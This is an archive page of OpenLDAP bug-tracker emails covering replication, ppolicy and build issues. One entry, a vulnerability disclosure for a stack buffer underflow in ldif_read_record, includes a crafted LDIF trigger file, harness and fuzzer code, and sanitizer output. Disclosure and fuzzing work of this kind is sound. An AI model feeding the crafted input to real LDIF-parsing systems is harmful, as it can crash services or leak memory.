openldap-bugs

openldap-bugs@openldap.org

1 participants
21157 discussions

[Issue 6104] race condition with cancel operation
by openldap-its＠openldap.org 06 Feb '26

06 Feb '26

https://bugs.openldap.org/show_bug.cgi?id=6104 Howard Chu <hyc(a)openldap.org> changed: What |Removed |Added ---------------------------------------------------------------------------- CC| |kangyang126(a)gmail.com --- Comment #16 from Howard Chu <hyc(a)openldap.org> --- *** Issue 10444 has been marked as a duplicate of this issue. *** -- You are receiving this mail because: You are on the CC list for the issue.

1 0

[Issue 6104] race condition with cancel operation
by openldap-its＠openldap.org 06 Feb '26

06 Feb '26

https://bugs.openldap.org/show_bug.cgi?id=6104 Ondřej Kuzník <ondra(a)mistotebe.net> changed: What |Removed |Added ---------------------------------------------------------------------------- See Also| |https://bugs.openldap.org/s | |how_bug.cgi?id=10444 -- You are receiving this mail because: You are on the CC list for the issue.

1 0

[Issue 10358] New: syncrepl can revert an entry's CSN
by openldap-its＠openldap.org 04 Feb '26

04 Feb '26

https://bugs.openldap.org/show_bug.cgi?id=10358 Issue ID: 10358 Summary: syncrepl can revert an entry's CSN Product: OpenLDAP Version: unspecified Hardware: All OS: All Status: UNCONFIRMED Keywords: needs_review Severity: normal Priority: --- Component: slapd Assignee: bugs(a)openldap.org Reporter: ondra(a)mistotebe.net Target Milestone: --- Created attachment 1080 --> https://bugs.openldap.org/attachment.cgi?id=1080&action=edit Debug log of an instance of this happening There is a sequence of operations which can force a MPR node to apply changes out of order (essentially reverting an operation). Currently investigating which part of the code that should have prevented this has let it slip. A sample log showing how this happened is attached. -- You are receiving this mail because: You are on the CC list for the issue.

1 8

[Issue 6916] slapo-unique returns operations error when assertion control is used
by openldap-its＠openldap.org 04 Feb '26

04 Feb '26

https://bugs.openldap.org/show_bug.cgi?id=6916 Ondřej Kuzník <ondra(a)mistotebe.net> changed: What |Removed |Added ---------------------------------------------------------------------------- See Also| |https://bugs.openldap.org/s | |how_bug.cgi?id=10440 -- You are receiving this mail because: You are on the CC list for the issue.

1 0

[Issue 10431] New: Stack Buffer Underflow in ldif_read_record causes Out-of-Bounds Read
by openldap-its＠openldap.org 30 Jan '26

30 Jan '26

https://bugs.openldap.org/show_bug.cgi?id=10431 Issue ID: 10431 Summary: Stack Buffer Underflow in ldif_read_record causes Out-of-Bounds Read Product: OpenLDAP Version: unspecified Hardware: x86_64 OS: Linux Status: UNCONFIRMED Keywords: needs_review Severity: normal Priority: --- Component: libraries Assignee: bugs(a)openldap.org Reporter: zesheng(a)tamu.edu Target Milestone: --- # Summary A stack buffer underflow vulnerability in OpenLDAP's `ldif_read_record()` function allows an attacker to trigger out-of-bounds memory reads when processing malformed LDIF data, potentially leading to information disclosure or crashes. ## Root Cause The vulnerability exists in `libraries/libldap/ldif.c` at line 803. When `fgets()` returns NULL and sets `len = 0`, the loop increment expression `last_ch = line[len-1]` accesses `line[-1]`, causing a stack buffer underflow. ### Vulnerable Code (ldif.c:799-803) ```c int ldif_read_record( LDIFFP *lfp, unsigned long *lno, char **bufp, int *buflenp ) { char line[LDIF_MAXLINE], *nbufp; // line buffer starts at offset 32 ber_len_t lcur = 0, len; int last_ch = '\n', found_entry = 0, stop, top_comment = 0; for ( stop = 0; !stop; last_ch = line[len-1] ) { // BUG: when len=0, accesses line[-1] // ... if ( fgets( line, sizeof( line ), lfp->fp ) == NULL ) { // ... stop = 1; len = 0; // len is set to 0 here } // ... } // At loop increment: line[len-1] = line[-1] = UNDERFLOW! } ``` ## PoC ### Trigger file A crafted LDIF file (`poc`, 27 bytes) that triggers the underflow: ``` hexdump -C poc: 00000000 00 00 00 00 01 00 00 00 64 74 65 21 73 74 2c 64 |........dte!st,d| 00000010 63 3d ff 65 78 64 63 73 74 77 6f |c=.exdcstwo| ``` ### How to generate poc ```python # generate_poc.py data = bytes([ 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x64, 0x74, 0x65, 0x21, 0x73, 0x74, 0x2c, 0x64, 0x63, 0x3d, 0xff, 0x65, 0x78, 0x64, 0x63, 0x73, 0x74, 0x77, 0x6f ]) with open("poc", "wb") as f: f.write(data) ``` --- ## Trigger Method 1: Direct API Call ```c // test_ldif.c #include <stdio.h> #include <stdlib.h> #include <string.h> #include <ldap.h> #include <ldif.h> int main(int argc, char **argv) { FILE *f = fopen("poc", "rb"); fseek(f, 0, SEEK_END); long size = ftell(f); fseek(f, 0, SEEK_SET); char *input = malloc(size + 1); fread(input, 1, size, f); input[size] = '\0'; fclose(f); LDIFFP *fp = ldif_open_mem(input, size, "r"); if (fp) { unsigned long lineno = 0; char *buf = NULL; int buflen = 0; // This triggers the vulnerability ldif_read_record(fp, &lineno, &buf, &buflen); if (buf) ber_memfree(buf); ldif_close(fp); } free(input); return 0; } ``` **Build and run:** ```bash # Build OpenLDAP with AddressSanitizer cd openldap ./configure CC=clang CFLAGS="-fsanitize=address -g" --without-tls make # Compile and run test clang -fsanitize=address -g -I include \ -L libraries/libldap/.libs -L libraries/liblber/.libs \ test_ldif.c -o test_ldif -lldap -llber \ -Wl,-rpath,libraries/libldap/.libs:libraries/liblber/.libs ./test_ldif ``` **Output:** ``` ==PID==ERROR: AddressSanitizer: stack-buffer-underflow on address 0x7fff... at pc 0x... bp 0x... sp 0x... READ of size 1 at 0x7fff... thread T0 #0 0x... in ldif_read_record libraries/libldap/ldif.c:803:37 Address 0x7fff... is located in stack of thread T0 at offset 31 in frame #0 0x... in ldif_read_record libraries/libldap/ldif.c:798 This frame has 1 object(s): [32, 4128) 'line' (line 799) <== Memory access at offset 31 underflows this variable SUMMARY: AddressSanitizer: stack-buffer-underflow ldif.c:803:37 in ldif_read_record ``` --- ## Trigger Method 2: Fuzzer ```c // fuzz_ldif.c #include <stdint.h> #include <stddef.h> #include <stdlib.h> #include <string.h> #include <ldap.h> #include <ldif.h> int LLVMFuzzerTestOneInput(const uint8_t *data, size_t size) { if (size == 0 || size > 65536) return 0; char *input = (char *)malloc(size + 1); if (!input) return 0; memcpy(input, data, size); input[size] = '\0'; char *mem_copy = (char *)malloc(size + 1); if (mem_copy) { memcpy(mem_copy, data, size); mem_copy[size] = '\0'; LDIFFP *fp = ldif_open_mem(mem_copy, size, "r"); if (fp) { unsigned long lineno = 0; char *buf = NULL; int buflen = 0; int count = 0; while (count < 100) { int rc = ldif_read_record(fp, &lineno, &buf, &buflen); if (rc <= 0) break; count++; } if (buf) ber_memfree(buf); ldif_close(fp); } free(mem_copy); } free(input); return 0; } ``` **Build and run:** ```bash clang -fsanitize=fuzzer,address -g -I include \ -L libraries/libldap/.libs -L libraries/liblber/.libs \ fuzz_ldif.c -o fuzz_ldif -lldap -llber \ -Wl,-rpath,libraries/libldap/.libs:libraries/liblber/.libs mkdir corpus && cp poc corpus/ ./fuzz_ldif corpus/ ``` --- ## Impact | Aspect | Details | |--------|---------| | **Type** | Out-of-Bounds Read / Information Disclosure | | **Severity** | High | | **Attack Vector** | Malicious LDIF file | | **Affected Components** | `ldif_read_record()`, libldap | | **Affected Applications** | Any application using libldap to parse LDIF (slapadd, ldapmodify, custom apps) | | **CWE** | CWE-124 (Buffer Underwrite / Buffer Underflow) | --- ## Suggested Fix Add a check to ensure `len > 0` before accessing `line[len-1]`: ```c for ( stop = 0; !stop; ) { // ... existing code ... // At end of loop body, before continuing: if (len > 0) { last_ch = line[len-1]; } // Or move len=0 case handling before the loop increment } ``` Alternative fix - initialize `len` to a safe value and guard the access: ```c for ( stop = 0; !stop; last_ch = (len > 0) ? line[len-1] : '\n' ) { ``` -- You are receiving this mail because: You are on the CC list for the issue.

1 6

[Issue 10434] New: mdb.c error: use of undeclared identifier 'fd' in 0.9.34?
by openldap-its＠openldap.org 30 Jan '26

30 Jan '26

https://bugs.openldap.org/show_bug.cgi?id=10434 Issue ID: 10434 Summary: mdb.c error: use of undeclared identifier 'fd' in 0.9.34? Product: LMDB Version: unspecified Hardware: aarch64 OS: Mac OS Status: UNCONFIRMED Keywords: needs_review Severity: normal Priority: --- Component: liblmdb Assignee: bugs(a)openldap.org Reporter: artkiver(a)gmail.com Target Milestone: --- Hi! I may be jumping the gun a bit, but noticed via repology.org that some distros had updated to LMDB 0.9.34 though I acknowledge the tagged commit reads: " 03d56d53 · Prep for release (0.9.34) · 2 days ago " From: https://gitlab.com/openldap/openldap/-/tags/LMDB_0.9.34 Regardless, I thought I would download the tarball and give it a whirl? For reference I am using macOS, more specifically: macOS 26.2 25C56 arm64 Command Line Tools 26.2.0.0.1.1764812424 Alas, I encountered the following errors when I attempted to build it: % make gcc -pthread -O2 -g -W -Wall -Wno-unused-parameter -Wbad-function-cast -Wuninitialized -c mdb.c mdb.c:2589:33: error: use of undeclared identifier 'fd' 2589 | else if (flags == MS_SYNC && MDB_FDATASYNC(env->me_fd)) | ^ mdb.c:132:32: note: expanded from macro 'MDB_FDATASYNC' 132 | # define MDB_FDATASYNC fcntl(fd, F_FULLFSYNC) | ^ mdb.c:2599:8: error: use of undeclared identifier 'fd' 2599 | if (MDB_FDATASYNC(env->me_fd)) | ^ mdb.c:132:32: note: expanded from macro 'MDB_FDATASYNC' 132 | # define MDB_FDATASYNC fcntl(fd, F_FULLFSYNC) | ^ 2 errors generated. make: *** [mdb.o] Error 1 A little bit more longwinded version (of basically the same error, though using MacPorts as it is my intention to update the Portfile for that project once it's functioning correctly) I've documented within MacPorts here, mentioning it more for reference: https://trac.macports.org/ticket/73204#comment:3 My apologies in advance if I am being too eager and 0.9.34 isn't officially released yet! Perhaps this is already known and planned to be fixed. I hope I'm not wasting anyone's time or attention erroneously. Thanks! -- You are receiving this mail because: You are on the CC list for the issue.

1 4

[Issue 10429] NULL Pointer Dereference in ldifutil.c
by openldap-its＠openldap.org 29 Jan '26

29 Jan '26

https://bugs.openldap.org/show_bug.cgi?id=10429 Quanah Gibson-Mount <quanah(a)openldap.org> changed: What |Removed |Added ---------------------------------------------------------------------------- Status|RESOLVED |VERIFIED -- You are receiving this mail because: You are on the CC list for the issue.

1 0

[Issue 10429] NULL Pointer Dereference in ldifutil.c
by openldap-its＠openldap.org 29 Jan '26

29 Jan '26

https://bugs.openldap.org/show_bug.cgi?id=10429 Quanah Gibson-Mount <quanah(a)openldap.org> changed: What |Removed |Added ---------------------------------------------------------------------------- Group|OpenLDAP-devs | -- You are receiving this mail because: You are on the CC list for the issue.

1 0

[Issue 10375] New: [patch] minor patch to const up oids array
by openldap-its＠openldap.org 29 Jan '26

29 Jan '26

https://bugs.openldap.org/show_bug.cgi?id=10375 Issue ID: 10375 Summary: [patch] minor patch to const up oids array Product: OpenLDAP Version: unspecified Hardware: All OS: All Status: UNCONFIRMED Keywords: needs_review Severity: normal Priority: --- Component: libraries Assignee: bugs(a)openldap.org Reporter: caolanm(a)gmail.com Target Milestone: --- Created attachment 1084 --> https://bugs.openldap.org/attachment.cgi?id=1084&action=edit minor patch to const up oids array -- You are receiving this mail because: You are on the CC list for the issue.

1 4

[Issue 10379] New: lastbind change prevents ppolicy response from reaching accesslog
by openldap-its＠openldap.org 29 Jan '26

29 Jan '26

https://bugs.openldap.org/show_bug.cgi?id=10379 Issue ID: 10379 Summary: lastbind change prevents ppolicy response from reaching accesslog Product: OpenLDAP Version: unspecified Hardware: All OS: All Status: UNCONFIRMED Keywords: needs_review Severity: normal Priority: --- Component: slapd Assignee: bugs(a)openldap.org Reporter: ondra(a)mistotebe.net Target Milestone: --- When "lastbind on" and ppolicy are configured together, the pwdLastSuccess update triggers an accesslog entry (using op->o_time, op->o_tincr), then ppolicy_bind_response issues its own modification and since the time was copied in lastbind, an entry of the same name already exists. This means the ppolicy change is lost (and e.g. won't replicate). Note that slapo-lastbind (=the contrib overlay) probably has the same impact. -- You are receiving this mail because: You are on the CC list for the issue.

1 5

← Newer
1
2
3
4
5
6
7
8
9
...
2116
Older →

Jump to page:

2026

2025

2024

2023

2022

2021

2020

2019

2018

2017

2016

2015

2014

2013

2012

2011

2010

2009

2008

2007

2006

openldap-bugs